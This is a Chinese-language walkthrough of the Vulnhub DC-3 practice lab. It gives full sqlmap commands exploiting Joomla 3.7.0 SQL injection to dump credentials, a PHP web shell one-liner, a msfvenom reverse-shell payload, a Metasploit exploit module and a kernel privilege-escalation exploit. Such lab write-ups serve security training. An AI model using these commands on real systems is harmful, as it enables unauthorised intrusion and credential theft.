Vulnhub靶机 DC-3 打靶 渗透详细过程
字数 893 2025-08-19 12:42:32
DC-3 靶机渗透测试详细教程
一、靶机环境准备
- 下载靶机镜像:
- 下载地址:https://download.vulnhub.com/dc/DC-3-2.zip
- 解压后导入到虚拟机软件(如VMware或VirtualBox)
二、信息收集阶段
1. 主机发现
使用以下命令之一发现目标IP:
arp-scan -l
# 或
nmap -sn 10.1.2.0/24
假设发现目标IP为:10.1.2.148
2. 端口扫描
nmap -p- 10.1.2.148
发现只开放了80端口
3. 服务探针
nmap -p80 -sV 10.1.2.148
确定Web服务详细信息
三、Web应用分析
-
访问Web界面:http://10.1.2.148
-
目录爆破:
dirb http://10.1.2.148或使用其他工具如gobuster
-
发现使用Joomla CMS,使用joomscan扫描:
joomscan -u http://10.1.2.148如果没有安装joomscan:
sudo apt install joomscan
四、漏洞利用
1. 搜索已知漏洞
searchsploit Joomla 3.7.0
发现存在SQL注入漏洞
2. SQL注入利用
使用sqlmap进行自动化注入:
-
爆数据库:
sqlmap -u "http://10.1.2.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -
爆数据表(假设数据库名为joomladb):
sqlmap -u "http://10.1.2.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch -
爆用户表列信息:
sqlmap -u "http://10.1.2.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering] -
获取用户凭证:
sqlmap -u "http://10.1.2.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password --dump
3. 密码破解
- 将获取的哈希保存到passwd.txt文件
- 使用john破解:
破解得到密码:snoopyjohn passwd.txt
五、获取Webshell
方法一:手动上传
- 使用获取的凭证登录Joomla后台
- 在"扩展"->"模板"->"模板"中找到可编辑的模板文件
- 创建或编辑PHP文件,插入以下代码:
或使用反弹shell代码<?php system($_GET['cmd']); ?>
方法二:使用msfvenom生成payload
- 生成PHP反弹shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=8888 -f raw -o cmd.php - 上传生成的cmd.php文件
方法三:使用Metasploit自动化利用
msfconsole
search joomla
use exploit/multi/http/joomla_contenthistory_sqli_rce
set rhosts 10.1.2.148
exploit
六、权限提升
1. 获取稳定shell
在meterpreter会话中:
shell
python -c "import pty;pty.spawn('/bin/bash')"
2. 查找SUID权限文件
find / -perm -u=s -type f 2>/dev/null
发现at命令可能有利用价值
3. 内核漏洞提权
-
检查系统版本:
cat /etc/issue发现是Ubuntu 16.04
-
搜索相关漏洞:
searchsploit Ubuntu 16.04查看39772号漏洞
-
下载并利用漏洞:
searchsploit -x linux/local/39772.txt # 在meterpreter中上传exp upload /path/to/exploit /tmp/exp # 执行提权
七、总结
- 通过SQL注入获取管理员凭证
- 破解哈希后登录后台
- 通过文件上传或模板编辑获取Webshell
- 利用内核漏洞完成提权
关键点:
- Joomla 3.7.0的SQL注入漏洞利用
- 密码哈希破解
- 多种获取Webshell的方法
- 内核漏洞提权技术